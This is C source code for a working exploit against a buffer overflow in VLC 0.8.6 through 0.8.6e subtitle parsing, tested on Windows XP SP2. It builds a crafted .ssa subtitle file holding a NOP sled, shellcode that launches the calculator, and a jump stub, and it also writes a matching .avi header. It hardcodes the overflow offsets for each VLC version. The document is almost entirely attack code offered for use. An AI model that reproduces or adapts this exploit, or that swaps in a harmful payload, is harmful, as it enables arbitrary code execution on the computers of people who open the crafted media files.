/* VLC <=0.8.6.e Subtitle parsing local buffer overflow exploit Creadit to cuongmx@gmail.com vs Look2Me @ Tested on windows XP Pro SP2
*/
#include <stdio.h> #include <stdlib.h> #include <string.h>
char ssa_header[]= "[Script Info]\r\n" "Title: VLC <= 0.8.6c,e buffer-overflow\r\n" "ScriptType: v4.00\r\n" "Collisions: Normal\r\n" "[V4 Styles]\r\n" "[Events]\r\n" "Dialogue:";
// execute calculator from Meta char shellcode[] = "\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x3d" "\xba\xb1\xd9\x83\xeb\xfc\xe2\xf4\xc1\x52\xf5\xd9\x3d\xba\x3a\x9c" "\x01\x31\xcd\xdc\x45\xbb\x5e\x52\x72\xa2\x3a\x86\x1d\xbb\x5a\x90" "\xb6\x8e\x3a\xd8\xd3\x8b\x71\x40\x91\x3e\x71\xad\x3a\x7b\x7b\xd4" "\x3c\x78\x5a\x2d\x06\xee\x95\xdd\x48\x5f\x3a\x86\x19\xbb\x5a\xbf" "\xb6\xb6\xfa\x52\x62\xa6\xb0\x32\xb6\xa6\x3a\xd8\xd6\x33\xed\xfd" "\x39\x79\x80\x19\x59\x31\xf1\xe9\xb8\x7a\xc9\xd5\xb6\xfa\xbd\x52" "\x4d\xa6\x1c\x52\x55\xb2\x5a\xd0\xb6\x3a\x01\xd9\x3d\xba\x3a\xb1" "\x01\xe5\x80\x2f\x5d\xec\x38\x21\xbe\x7a\xca\x89\x55\xc4\x69\x3b" "\x4e\xd2\x29\x27\xb7\xb4\xe6\x26\xda\xd9\xd0\xb5\x5e\xba\xb1\xd9";
char szJMP[]= "\x90\x90\xe9\x38\xff\xff\xff\xeb\xf9\x90\x90\x0b\x0b\x38\x00";
char szAVI[]= "\x52\x49\x46\x46\xC\x0\x0\x0\x41\x56\x49\x20\x4C\x49\x53\x54\x00\x00\x00";
main() { int i,j,k; printf("Give me your VLC version:\r\n"); printf("1> version 8.06.c\r\n"); printf("2> version 8.06.d\r\n"); printf("3> version 8.06.e\r\nChose:"); j=getchar(); switch(j) { case '1': k=165254;break; case '2': printf("\r\nI haven't got this version!\r\n Good Luck :-)"); getchar(); return 0;break; case '3': k=165286;break; } k=k-sizeof(shellcode); printf("\r\n[+] Creating .ssa file ..."); FILE* f; char szBuffer[170000]; char szBuffer2[200];
strcpy(szBuffer,ssa_header); // header of ssa memset((szBuffer+sizeof(ssa_header)-1),'\x90',k); szBuffer[k+sizeof(ssa_header)]='\x00'; strcpy(szBuffer2,shellcode); strcat(szBuffer2,szJMP); strcat(szBuffer,szBuffer2);
f=fopen("Bof-VLC.ssa","wb"); if(f==NULL) { printf("Can't create file"); exit; } fwrite(szBuffer,1,strlen(szBuffer),f); // write header fclose(f); printf("\r\n[+] .ssa file successfully create!");
printf("\r\n[+] Creation .avi file ..."); f=fopen("Bof-VLC.avi","wb"); if(f==NULL) { printf("Can't create file"); exit; } fwrite(szAVI,1,sizeof(szAVI),f); // write header fclose(f); printf("\r\n[+] .avi file successfully create!"); getchar(); }
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